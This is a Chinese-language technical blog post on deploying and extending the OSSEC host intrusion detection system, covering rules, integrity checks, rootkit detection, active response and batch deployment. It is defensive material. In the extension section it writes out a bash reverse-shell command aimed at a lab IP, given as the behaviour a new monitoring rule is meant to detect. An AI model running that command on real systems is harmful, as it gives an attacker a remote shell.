【企业安全实战】开源HIDS OSSEC部署与扩展使用

vinc / 2018-01-30 17:49:00 / 浏览数 9481

0x01 概述

关于HIDS，并不是一个新鲜的话题，规模较大的企业都会选择自研，而如果你刚刚接手一个公司的网络安全，人手相对不足，那么OSSEC能帮助你安全建设初期快速搭建一

0x02 主要功能介绍

OSSEC的主要功能包括日志分析、文件完整性检测、Rootkit检测以及联动配置，另外你也可以将自己的其他监控项集成到OSSEC中。

1）日志监控

日志是平常安全运维中很重要的一项，OSSEC日志检测为实时检测，OSSEC的客户端本身没有解码文件和规则，所监控的日志会通过1514端口发送到服务端。

配置项可以在配置在每个agent的ossec.conf中或者在agent.conf中，需要写在`<localfile>`中，可配置项如下：

- location

指定日志的位置，strftime格式可以用于日志文件名，例如，一个名为file.log-2018-01-22的日志文件可以写为`file.log-%Y-%m-%d`。通配符可以用于非windows系统。

- log_format

例如syslog、command、full_command等等

需要注意的是command和full_command不能配置在agent.conf中，需要配置在ossec.conf中

- command

执行的命令。如果log_format指定的是command，那么将逐行读取。如果log_format指定的是full_command，将全部匹配。

- alias

该命令的别名。这将替换日志消息中的命令。

例如配置

```
<alias>usb-check</alias>

ossec: output: 'reg QUERY HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR':
```

将被替换为

```
ossec: output: 'usb-check':
```

- frequency

命令运行之间的最小时间间隔。时间间隔可能会比该值大，适用于log_format为command、full_command。

- check_diff

事件的输出将存储在一个内部数据库中。每次接收到相同的事件时，输出都会与之前的输出相比较。如果输出发生了变化，将生成一个警告。

命令监控的具体事例：

默认的ossec.conf中自带的配置检查硬盘空间：

```
<localfile>

   <log_format>command</log_format>

   <command>df -P</command>

 </localfile>
```

所对应的rule在ossec_rules.xml

```
<rule id="531" level="7" ignore="7200">
```

```
   <if_sid>530</if_sid>

   <match>ossec: output: 'df -P': /dev/</match>

   <regex>100%</regex>

   <description>Partition usage reached 100% (disk space monitor).</description>

   <group>low_diskspace,</group>

 </rule>
```

默认的ossec.conf中自带的配置新增端口监听：

```
<localfile>

   <log_format>full_command</log_format>

   <command>netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| ::1)' | sort</command>

 </localfile>
```

所对应的rule在ossec_rules.xml

```
<rule id="533" level="7">

   <if_sid>530</if_sid>

   <match>ossec: output: 'netstat -tan</match>

   <check_diff />

   <description>Listened ports status (netstat) changed (new port opened or closed).</description>

 </rule>
```

执行的结果保存在queue/diff/下，每次执行会进行比对

```
[root@localhost ossec]# cat queue/diff/192.168.192.196/533/last-entry

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN

tcp        0      0 :::111                      :::*                        LISTEN

tcp        0      0 :::22                       :::*                        LISTEN

tcp        0      0 :::62229                    :::*                        LISTEN
```

这里测试一下用nc监听2345端口，告警如下：

```
** Alert 1499397975.7591: mail  - ossec,

2017 Jul 07 11:26:15 (192.168.192.196) any->netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort

Rule: 533 (level 7) -> 'Listened ports status (netstat) changed (new port opened or closed).'

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:2345                0.0.0.0:*                   LISTEN
```

```
tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN

tcp        0      0 :::111                      :::*                        LISTEN

tcp        0      0 :::22                       :::*                        LISTEN

tcp        0      0 :::62229                    :::*                        LISTEN

Previous output:

ossec: output: 'netstat -tan |grep LISTEN |egrep -v '(127.0.0.1| \\1)' | sort':

tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN

tcp        0      0 0.0.0.0:37498               0.0.0.0:*                   LISTEN

tcp        0      0 :::111                      :::*                        LISTEN

tcp        0      0 :::22                       :::*                        LISTEN

tcp        0      0 :::62229                    :::*                        LISTEN
```

之前在《Linux应急响应姿势浅谈》中提到的，Linux下开机启动项是应急响应中很重要的检测项，Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最

```
<localfile>

   <log_format>full_command</log_format>

   <command>/bin/cat /etc/rc.local</command>

   <frequency>10</frequency>

 </localfile>
```

在Server端的/var/ossec/rules/ossec_rules.xml下新增一条规则

```
<rule id="536" level="7">

     <if_sid>530</if_sid>

     <match>ossec: output: '/bin/cat</match>

     <check_diff />

     <description>rclocal changed</description>

 </rule>
```

然后重启Server和Agent

Agent执行

```
echo “echo test” >> /etc/rc.local
```

报警如下：

```
** Alert 1499399596.13605: mail  - ossec,

2017 Jul 07 11:53:16 (192.168.192.196) any->/bin/cat /etc/rc.local

Rule: 536 (level 7) -> 'rclocal changed'

ossec: output: '/bin/cat /etc/rc.local':

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.
```

```
# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local

echo test

Previous output:

ossec: output: '/bin/cat /etc/rc.local':

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local
```

2）完整性检测

命令替换在应急响应中很常见，经常被替换掉的命令例如ps、netstat、ss、lsof等等。另外还有SSH后门。完整性检测的工作方式是Agent周期性的扫描系统文件，并将检验

数据存放到服务端的/var/ossec/queue/syscheck目录下

```
[root@localhost syscheck]# ll /var/ossec/queue/syscheck

total 1388

-rw-r----- 1 ossec ossec 469554 Jun 29 03:16 (192.168.192.195) 192.168.192.195->syscheck

-rw-r----- 1 ossec ossec 469554 Jun 29 03:49 (192.168.192.196) 192.168.192.196->syscheck

-rw-r----- 1 ossec ossec 470797 Jun 29 18:13 syscheck
```

常用的配置如下：

- directories

默认值是/etc,/usr/bin,/usr/sbin,/bin,/sbin,/boot

属性配置如下

realtime：实时监控

report_changes：报告文件变化，文件类型只能是文本

checkall：check*全部为yes

check_sum：监测MD5和SHA1 HASH的变化，相当于设置check_sha1sum="yes"和check_md5sum="yes"

check_sha1sum：监测SHA1 HASH的变化

check_md5sum：监测MD5 HASH的变化

check_size：监测文件大小

check_owner：监测属主

check_group：监测属组

check_perm：监测文件权限

restrict：限制对包含该字符串的文件监测

- ignore

配置忽略的文件和目录。所配置的文件和目录依然会检测，不过结果会忽略。

支持正则匹配

```
<ignore type="sregex">.log$|.tmp</ignore>
```

- frequency

检测周期

- scan_time

开始扫描的时间，格式可以是21pm, 8:30, 12am

- scan_day

配置一周中的哪天可以扫描，格式sunday, saturday, monday

- auto_ignore

忽略变化超过3次的文件

- alert_new_files

新文件创建时告警

- scan_on_start

启动时扫描

- windows_registry

Windows注册表项监控

- registry_ignore

忽略的注册表项

- prefilter_cmd

Prelink会修改二进制文件，以方便其快速启动，所以会导致二进制文件的MD5修改，导致误报。这个配置目的是忽略掉prelink产生的误报，配置

```
<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>
```

需要注意的是改配置会影响性能。

- skip_nfs

跳过CIFS和NFS挂载目录

配置示例：

```
<syscheck>

   <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>

   <directories check_all="yes">/root/users.txt,/bsd,/root/db.html</directories>

</syscheck>
```

修改告警级别，例如当/var/www/htdocs修改时，告警级别修改为12

```
<rule id="100345" level="12">

   <if_matched_group>syscheck</if_matched_group>

   <match>/var/www/htdocs</match>

   <description>Changes to /var/www/htdocs - Critical file!</description>

</rule>
```

这里有一个需要注意的地方，我一开始使用OSSEC的时候，用的默认配置，然后凌晨3点的时候收到了大量的告警，如下：

```
** Alert 1500341372.94081: mail - ossec,syscheck,

2017 Jul 18 09:29:32 localhost->syscheck

Rule: 550 (level 7) -> 'Integrity checksum changed.'

Integrity checksum changed for: '/sbin/partprobe'

Old md5sum was: 'cabd9d003c9f3b194b32eff8d27e9dfc'

New md5sum is : '34a3700736e54368e296c24acef6f5b9'

Old sha1sum was: '0eb531a5bce4fdf30da3d69aed181b54b4870f0b'

New sha1sum is : '19640bd6d1ebc4298423498a9363dfe2074023ad'


** Alert 1500341380.94500: mail - ossec,syscheck,

2017 Jul 18 09:29:40 localhost->syscheck

Rule: 550 (level 7) -> 'Integrity checksum changed.'

Integrity checksum changed for: '/sbin/wipefs'

Old md5sum was: '61ddf66c79323caff5d8254a29b526dc'

New md5sum is : '45af33cff81598dd0a33f0439c6aa68f'

Old sha1sum was: '161d409336291c8ed03a89bd8378739934dca387'

New sha1sum is : 'a735876ea2090323bd766cfb6bad0f57c6a900f2'
```

告警显示/sbin下的执行文件MD5都修改了。其实这里是因为定时任务Prelink导致。以CentOS6.5系统为例，

```
[root@sec248 cron.daily]# ls

logrotate  makewhatis.cron  mlocate.cron  prelink  readahead.cron  tmpwatch
```

cron.daily下有一个定时任务prelink，Prelink利用事先链接代替运行时链接的方法来加速共享库的加载，它不仅可以加快起动速度，还可以减少部分内存开销，是各种Linux架构上用于减少程序加载时间、缩短系统启动时间和加快应用程序启动的很受欢迎的一个工具，解决方案是添加配置

```
<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>
```

在比对MD5或者SHA1之前，会先执行`prelink -y <file>`，从而避免误报。`prelink -y <file>`会输出prelink之前的原始文件内容。

PS：

偶尔会收到大量告警，所监控二进制文件的SHA都变成了da39a3ee5e6b4b0d3255bfef95601890afd80709，如下图所示：

登录服务器执行

```
prelink -y /bin/sh

at least one of file’s dependencies has changed since prelinking
```

解决方法：/usr/sbin/prelink -av -mR

参考链接：https://stelfox.net/blog/2014/08/dependency-prelink-issues/

3）Rootkit检测

Rootkit也是平时应急响应比较头疼的，OSSEC的检测原理如下：

对比rootkit_files.txt，该文件中包含了rootkit常用的文件。就像病毒库一样。

```
[root@localhost shared]# egrep -v "^#" rootkit_files.txt | grep -v '^$' | head -n 3

tmp/mcliZokhb           ! Bash door ::/rootkits/bashdoor.php
```

```
tmp/mclzaKmfa           ! Bash door ::/rootkits/bashdoor.php

dev/.shit/red.tgz       ! Adore Worm ::/rootkits/adorew.php
```

如果是以*开头的话，会扫描整个系统。

对比rootkit_trojans.txt文件中二进制文件特征。

```
[root@localhost shared]# egrep -v "^#" rootkit_trojans.txt | grep -v '^$' | head -n 3

ls          !bash|^/bin/sh|dev/[^clu]|\.tmp/lsfile|duarawkz|/prof|/security|file\.h!

env         !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!

echo        !bash|^/bin/sh|file\.h|proc\.h|/dev/[^cl]|^/bin/.*sh!
```

扫描整个文件系统，检测异常文件和异常的权限设置，文件属主是root，但是其他用户可写是非常危险的，rootkit将会扫描这些文件。同时还会检测具有suid权限的文件、

另外还会检测隐藏端口、隐藏进程、/dev目录、网卡混杂模式等。

这里看一下ossec.conf中默认的rootcheck的配置

```
<rootcheck>

   <rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>

   <rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>

   <system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit>

   <system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit>

   <system_audit>/var/ossec/etc/shared/cis_rhel_linux_rcl.txt</system_audit>

   <system_audit>/var/ossec/etc/shared/cis_rhel5_linux_rcl.txt</system_audit>

 </rootcheck>
```

/var/ossec/etc/shared/rootkit_files.txt文件中包含了rootkit常用的文件。

/var/ossec/etc/shared/rootkit_trojans.txt文件中检测一些二进制文件的特征。

后面主要是检测系统配置。

测试：

server：192.168.192.193

agent：192.168.192.196

根据上述检测原理第一条，我们在192.168.192.196下创建文件/tmp/mcliZokhb

然后在Server端执行

```
[root@localhost ossec]# ./bin/agent_control -r -u 1028

OSSEC HIDS agent_control: Restarting Syscheck/Rootcheck on agent: 1028
```

当扫描完成后，Syscheck last started和Rootcheck last started的时间会更新。

```
[root@localhost rootcheck]# /var/ossec/bin/agent_control -i 1028


OSSEC HIDS agent_control. Agent information:

  Agent ID:   1028

  Agent Name: 192.168.192.196

  IP address: any/0
```

```
  Status:     Active


  Operating system:    Linux localhost 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64

  Client version:      OSSEC HIDS v2.9.0 / 2d13fc898c1b864609180ad7f4512b4c

  Last keep alive:     Thu Jul 13 14:11:25 2017


  Syscheck last started  at: Thu Jul 13 14:05:27 2017

  Rootcheck last started at: Thu Jul 13 13:55:00 2017
```

来看一下/var/ossec/queue/rootcheck下的内容

```
[root@localhost rootcheck]# cat \(192.168.192.196\)\ any-\>rootcheck

!1499925300!1499150323 Starting rootcheck scan.

!1499925927!1499150951 Ending rootcheck scan.

!1499925300!1499925300 Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.
```

其中扫描开始时间为1499925300（2017/7/13 13:55:0），扫描结束时间为1499925927（2017/7/13 14:5:27）

然后在1499925300（2017/7/13 13:55:0），检测到了Rootkit。

然后查看ALert日志中的告警信息

```
[root@localhost rootcheck]# cat /var/ossec/logs/alerts/alerts.log

** Alert 1499925300.0: mail  - ossec,rootcheck,

2017 Jul 13 13:55:00 (192.168.192.196) any->rootcheck

Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'

Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.
```

PS：

1）部署后，发现经常会收到进程隐藏的告警，经排查服务器也不存在异常。

```
Process ‘25905’ hidden from /proc. Possible kernel level rootkit.
```

添加规则rules/ossec_rules.xml

```
<rule id="517" level="0">

    <if_sid>510</if_sid>

    <match>hidden from /proc</match>

    <description>Ignored process hidden entries.</description>

    <group>rootcheck,</group>

 </rule>
```

屏蔽掉该告警。

2）因为OSSEC会检测属主是Root但是Other用户有w权限的文件，有些正常业务的文件会导致误报。

添加规则rules/ossec_rules.xml

```
<rule id="520" level="0">

    <if_sid>510</if_sid>
```

```
    <match>/usr/local/fms</match>
    <description>Ignored some files which owned by root and has write permissions.</description>
    <group>rootcheck,</group>
 </rule>
```

屏蔽掉这些目录。

4）联动配置

主动响应分为两部分，第一步需要配置需要执行的脚本，第二步需要绑定该脚本到具体的触发规则。/var/ossec/etc/ossec.conf中相应配置如下：

```
<ossec_config>
   <command>
       <!--
       Command options here
       -->
   </command>
   <active-response>
       <!--
       active-response options here
       -->
   </active-response>
</ossec_config>
```

Command配置参数如下：

- name

对应active-response所使用的名称

- executable

/var/ossec/active-response/bin中的可执行文件，不需要写全路径。

- expect

命令执行的参数，选项可以是srcip和user（其他的名不接受）.
如果expect标签内的值为空，那么传递-代替真实的值。如果一个响应脚本需要srcip，那么它必须在expect选项中。

如果不需要传递参数值，写`<expect></expect>`即可。

- timeout_allowed

指定该命令是否支持超时。

active-response配置参数如下：

- disabled

如果设置为yes，则禁用主动响应，默认为启用。

- command

需要执行的脚本的名称，对应command标签中的name。

- location

在哪里执行命令，具体参数如下：

local: 产生该事件的agent

server: 在server端

defined-agent: 指定一个agent，需要配置agent id

all: 所有agent

agent_id

需要执行脚本的agent的ID

- level

大于等于该level的event将执行该响应

- rules_group

响应将在已定义的组中的任何事件上执行。可以用逗号分隔多个组。

- rules_id

响应将在任何带有已定义ID的事件上执行。可以用逗号分隔多个ID。

- timeout

以封禁IP为例，指定IP封禁的时间（单位为秒）。

这里我们来测试一下：

```
Server■192.168.192.193

Client■ID:1029■192.168.192.195

Client■ID:1028■ 192.168.192.196
```

首先看一下SSH登录失败的日志为：

```
Jul  6 15:15:57 localhost sshd[28590]: Failed password for root from 192.168.192.196 port 34108 ssh2
```

所对应的decode.xml中的解码规则为：

```
<decoder name="ssh-failed">

 <parent>sshd</parent>

 <prematch>^Failed \S+ </prematch>

 <regex offset="after_prematch">^for (\S+) from (\S+) port \d+ \w+$</regex>

 <order>user, srcip</order>

</decoder>
```

这里通过正则表达式获取到了user和srcip

所对应的Rule在sshd_rules.xml中，可以看到告警等级为5：

```
<rule id="5716" level="5">

   <if_sid>5700</if_sid>

   <match>^Failed|^error: PAM: Authentication</match>

   <description>SSHD authentication failed.</description>

   <group>authentication_failed,</group>

 </rule>
```

查看ossec.conf，这里我们添加如下：

```
<active-response>
   <command>test</command>
   <location>local</location>
   <level>5</level>
   <timeout>60</timeout>
 </active-response>
```

所对应的执行脚本名称为test，脚本为本地执行，当rule级别大于等于5时触发，封禁时间为60S。

所对应的command配置为

```
<command>
   <name>test</name>
   <executable>test.sh</executable>
   <expect>srcip,user</expect>
   <timeout_allowed>yes</timeout_allowed>
 </command>
```

这里传递了两个参数srcip,user（前后顺序不影响）。所对应的是ssh-failed解码规则中取到的user和srcip。

/var/ossec/active-response/bin/test.sh文件内容为

```
#!/bin/sh
LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`
echo "`date` $0 $1 $2 $3 $4 $5" >> ${PWD}/../logs/active-responses.log
```

脚本所传递的参数如下：

```
$1 ■■ (delete or add)
$2 user (or – if not set)
$3 srcip (or – if not set)
$4 ■■■
$5 ■■■
```

修改权限和属组

```
[root@localhost bin]# chown root:ossec test.sh
[root@localhost bin]# chmod 550 test.sh
```

然后在192.168.192.196使用错误密码登录192.168.192.193，触发规则，查看日志

```
[root@localhost ossec]# tail -f logs/active-responses.log
Thu Jul  6 17:07:02 CST 2017 /var/ossec/active-response/bin/test.sh add root 192.168.192.196 1499332022.14278 5503
Thu Jul  6 17:08:32 CST 2017 /var/ossec/active-response/bin/test.sh delete root 192.168.192.196 1499332022.14278 5503
```

然后我们再用OSSEC自带的host-deny脚本测试一下。

```
<command>
   <name>host-deny</name>
   <executable>host-deny.sh</executable>
   <expect>srcip</expect>
   <timeout_allowed>yes</timeout_allowed>
 </command>
 <active-response>
   <command>host-deny</command>
   <location>local</location>
   <level>5</level>
   <timeout>30</timeout>
 </active-response>
```

这里<location>local</location>，即仅在触发该规则的Agent有效。

然后我使用另外一台机器192.168.192.120使用错误密码登录192.168.192.196

触发规则后查看hosts.deny发现已经添加了IP192.168.192.120

```
[root@localhost ossec]# cat /etc/hosts.deny  | grep 120
ALL:192.168.192.120
```

0x03 SaltStack批量部署Agent

在企业内部有各种运维工具有用批量管理服务器，例如SaltStack、ansible等。这里我以SaltStack为例。批量部署这里面临两个问题：

1）install.sh安装交互问题

OSSEC安装为交互式安装，需要手工输入Server端地址，是否开启一些模块等。解决办法是配置preloaded-vars.conf

```
[root@localhost ossec-hids-2.9.0]# cp etc/preloaded-vars.conf.example etc/preloaded-vars.conf
```

修改preloaded-vars.conf中的配置即可。最终配置如下：

```
[root@test135 etc]# cat preloaded-vars.conf | grep -v "^#" | grep -v "^$"
USER_LANGUAGE="cn"     # For english
USER_NO_STOP="y"
USER_INSTALL_TYPE="agent"
USER_DIR="/var/ossec"
USER_ENABLE_ACTIVE_RESPONSE="y"
USER_ENABLE_SYSCHECK="y"
USER_ENABLE_ROOTCHECK="y"
USER_AGENT_SERVER_IP="10.111.111.111"
```

2）Key认证问题

新版本的OSSEC中ossec-authd和agent-auth提供了自动化导入Key的功能。

ossec-authd：

os-authd守护进程运行在服务端，自动分发Key和添加Agent。

默认情况下，该过程中不存在任何身份验证或授权，因此建议只在添加新代理时运行该守护进程。

ossec-authd进程需要SSL keys才行运行。

如果没有SSL Keys会提示以下错误：

```
[root@localhost syscheck]# /var/ossec/bin/ossec-authd -p 1515

2017/07/04 14:02:26 ossec-authd: INFO: Started (pid: 12764).

2017/07/04 14:02:26 ossec-authd: ERROR: Unable to read certificate file (not found): /var/ossec/etc/sslmanager.cert

2017/07/04 14:02:26 ossec-authd: ERROR: SSL error. Exiting.
```

生成SSL Keys

```
[root@localhost syscheck]# openssl genrsa -out /var/ossec/etc/sslmanager.key 2048

Generating RSA private key, 2048 bit long modulus

.....+++

........+++

e is 65537 (0x10001)

[root@localhost syscheck]# openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]:

State or Province Name (full name) []:

Locality Name (eg, city) [Default City]:

Organization Name (eg, company) [Default Company Ltd]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) []:

Email Address []:
```

启动ossec-authd

```
[root@localhost syscheck]# /var/ossec/bin/ossec-authd

2017/07/04 14:11:35 ossec-authd: INFO: Started (pid: 12788).

[root@localhost syscheck]# netstat -anlp | grep 1515

tcp        0      0 :::1515                     :::*                        LISTEN      12788/ossec-authd
```

然后客户端运行，这里如果不指定-A为IP的话，默认是Hostname

```
[root@localhost src]# /var/ossec/bin/agent-auth -m 192.168.192.193 -p 1515 -A 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Started (pid: 14137).

2017/07/04 14:27:59 INFO: Connected to 192.168.192.193 at address 192.168.192.193, port 1515

INFO: Connected to 192.168.192.193:1515

INFO: Using agent name as: 192.168.192.196

INFO: Send request to manager. Waiting for reply.

INFO: Received response with agent key

INFO: Valid key created. Finished.

INFO: Connection closed.
```

查看服务端：

```
2017/07/04 14:27:59 ossec-authd: INFO: New connection from 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Received request for a new agent (192.168.192.196) from: 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Agent key generated for 192.168.192.196 (requested by 192.168.192.196)

2017/07/04 14:27:59 ossec-authd: INFO: Agent key created for 192.168.192.196 (requested by 192.168.192.196)
```

重启客户端服务/var/ossec/bin/ossec-control restart

查看当前连接的Agents

```
[root@localhost alerts]# /var/ossec/bin/agent_control -lc


OSSEC HIDS agent_control. List of available agents:

  ID: 000, Name: localhost (server), IP: 127.0.0.1, Active/Local

  ID: 1028, Name: 192.168.192.196, IP: any, Active
```

启动Agent时的INFO信息

```
2017/12/13 09:32:18 ossec-agentd: INFO: Using notify time: 600 and max time to reconnect: 1800
```

可以看到keepalive的时间间隔为10Min，最大重连时间为30Min。

```
[root@sec248 etc]# /var/ossec/bin/agent_control -i 1024 | grep keep

Last keep alive:     Wed Dec 13 09:34:06 2017
```

可以查看agent的上次keepalive时间，超过最大重连时间，会有告警。

综合上述两个问题，最终Salt部署模板如下：

```
include:

 - mk_Downloads


install_packages:

 pkg.latest:

   - pkgs:

     - openssl-devel

     - gcc
```

```
    - prelink


install_ossec:
 cmd.run:
   - name: tar zxf ossec.tar.gz && cd ossec && sh install.sh
   - cwd: /root/Downloads
   - unless: test -e /var/ossec/bin/ossec-control
   - require:
     - file: /root/Downloads/ossec.tar.gz


/var/ossec/etc/ossec.conf:
 file.managed:
   - source: salt://ossec/conf/ossec.conf
   - user: root
   - group: root
   - mode: 644
   - template: jinja
   - require:
     - cmd: install_ossec


/var/ossec/etc/shared/agent.conf:
 file.managed:
   - source: salt://ossec/conf/agent.conf
   - user: root
   - group: root
   - mode: 644
   - template: jinja
   - require:
     - cmd: install_ossec


/var/ossec/monitor.sh:
 file.managed:
   - source: salt://ossec/conf/monitor.sh
   - user: root
```

```
   - group: root
   - mode: 755
   - template: jinja
   - require:
     - cmd: install_ossec


/root/Downloads/ossec.tar.gz:
 file.managed:
   - source: salt://ossec/ossec.tar.gz
   - user: root
   - group: root
   - mode: 755
   - template: jinja
   - require:
     - file: /root/Downloads


agentauth:
 cmd.run:
   - name: /var/ossec/bin/agent-auth -m 10.59.0.248 -p 1515 -A $(ifconfig | egrep -o '10\.(59|211|200).[0-9]{1,3}.[0-9]{1,3}'
   - unless: test -s /var/ossec/etc/client.keys
   - require:
     - cmd: install_ossec


serverstart:
 cmd.run:
   - name: /var/ossec/bin/ossec-control restart
   - onchanges:
     - file: /var/ossec/etc/ossec.conf
   - require:
     - cmd: install_ossec
```

0x04 MySQL及WebUI安装

Mysql安装：

在2.9之前可以使用make setdb后编译OSSEC来支持Mysql。默认的安装脚本install.sh是不支持Mysql的，所以需要在源码的src目录下执行

```
make TARGET=server DATABASE=mysql install
```

然后执行

```
/var/ossec/bin/ossec-control enable database
```

创建数据库和导入表结构

```
mysql> create database ossec;

Query OK, 1 row affected (0.00 sec)


mysql> grant INSERT,SELECT,UPDATE,CREATE,DELETE,EXECUTE on ossec.* to ossec@127.0.0.1;

Query OK, 0 rows affected (0.00 sec)


mysql> set password for ossec@127.0.0.1=PASSWORD('hehe123');

Query OK, 0 rows affected (0.00 sec)


mysql> flush privileges;

Query OK, 0 rows affected (0.00 sec)


mysql> quit


[root@localhost ossec]# mysql -u root -phehe123 -D ossec < /tmp/ossec-hids-2.9.0/src/os_dbd/mysql.schema
```

在ossec.conf中添加配置

```
<database_output>
       <hostname>127.0.0.1</hostname>
       <username>ossec</username>
       <password>hehe123</password>
       <database>ossec</database>
       <type>mysql</type>
   </database_output>
```

然后重启服务。

/var/ossec/bin/ossec-dbd启动成功。

```
[root@localhost logs]# ps axu | grep dbd | grep -v grep

ossecm    3919  0.0  0.0  51172  2872 ?        S    10:00   0:00 /var/ossec/bin/ossec-dbd
```

尝试SSH登录失败，看一下入库信息。

```
mysql> select * from alert a join location l on a.location_id = l.id where l.id = 5\G

*************************** 1. row ***************************

        id: 9

 server_id: 1

   rule_id: 5503

     level: 5
```

```
 timestamp: 1499415795
location_id: 5
    src_ip: 192.168.192.120
    dst_ip: (null)
  src_port: 0
  dst_port: 0
   alertid: 1499415795.28052
      user: root
  full_log: Jul  7 16:23:14 localhost sshd[1589]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh r
 is_hidden: 0
       tld:
        id: 5
 server_id: 1
      name: (192.168.192.196) any->/var/log/secure
*************************** 2. row ***************************
        id: 10
 server_id: 1
   rule_id: 5716
     level: 5
 timestamp: 1499415800
location_id: 5
    src_ip: 192.168.192.120
    dst_ip: (null)
  src_port: 0
  dst_port: 0
   alertid: 1499415797.28415
      user: root
  full_log: Jul  7 16:23:16 localhost sshd[1589]: Failed password for root from 192.168.192.120 port 47519 ssh2
 is_hidden: 0
       tld:
        id: 5
 server_id: 1
      name: (192.168.192.196) any->/var/log/secure
2 rows in set (0.00 sec)
```

WebUI安装

安装步骤如下：

1) 安装gcc

```
yum -y install gcc gcc-c++ apr-devel apr-util-devel pcre pcre-devel openssl openssl-devel
```

2) 安装apr (version >= 1.4+)

```
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.5.2.tar.gz

# tar zxf apr-1.5.2.tar.gz

# cd apr-1.5.2

# ./configure --prefix=/usr/local/apr

# make && make install
```

3) 安装apr-util (version >= 1.4+)

```
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.5.4.tar.gz

# tar zxf apr-util-1.5.4.tar.gz

# cd apr-util-1.5.4

# ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr

# make && make install
```

4) 安装httpd-2.4.27

```
# cd httpd-2.4.27

# ./configure --prefix=/usr/local/apache --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util --enable-dav --enable-s

# make && make install

[root@localhost tmp]# wget https://github.com/ossec/ossec-wui/archive/0.9.tar.gz

[root@localhost tmp]# tar zxvf ossec-wui-0.9.tar.gz

[root@localhost tmp]# mv ossec-wui-0.9 /var/www/html/ossec-wui

[root@localhost tmp]# cd /var/www/html/ossec-wui

[root@localhost ossec-wui]# ./setup.sh

Setting up ossec ui...


Username: vincent

New password:

Re-type new password:

Adding password for user vincent

Enter your web server user name (e.g. apache, www, nobody, www-data, ...)

apache

You must restart your web server after this setup is done.


Setup completed successfully.
```

```
[root@localhost ossec-wui]# service httpd start
```

0x05 监控扩展

综合上述OSSEC的一些功能点，我们可以扩展一些其他的监控进来，通过OSSEC告警。这里我举几个例子：

1）存在连接的Bash进程

通常情况下Bash进程是不会存在连接状态的，其父进程SSHD存在网络连接，如下：

```
[root@sec248 cron.daily]# ps -ef | grep bash | grep -v grep

root     41011 41009  0 08:42 pts/4    00:00:00 -bash

root     45984 45982  0 Dec21 pts/1    00:00:00 -bash

[root@sec248 cron.daily]# netstat -antlp | grep sshd | grep EST

tcp        0     64 10.59.0.248:22              192.168.190.201:52947       ESTABLISHED 41009/sshd

tcp        0      0 10.59.0.248:22              192.168.190.201:2164        ESTABLISHED 45982/sshd
```

而反弹shell时，反弹命令

```
bash -i >& /dev/tcp/192.168.192.144/2345 0>&1■
```

我们看一下反弹连接

```
[root@server120 ~]# netstat -antlp | grep bash

tcp        0      0 192.168.192.120:34710       192.168.192.144:2345        ESTABLISHED 15497/bash
```

可以看到存在Bash连接，那么我们添加OSSEC的监控项

```
<localfile>

   <log_format>full_command</log_format>

   <command>netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command>

 </localfile>
```

待补充

2）ssdeep检测webshell
3）Auditd监控Web中间件
4）ClamAV查杀部署

上一篇：基于反病毒软件（AV），代理（Pr... 下一篇：PHP源码调试之Windows文件...

1. 2 条回复

icerainow 2018-02-01 10:20:16

这不是我根总吗？！

0 回复Ta


vinc 2018-02-01 15:36:14

@icerainow 这不是枪王吗

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板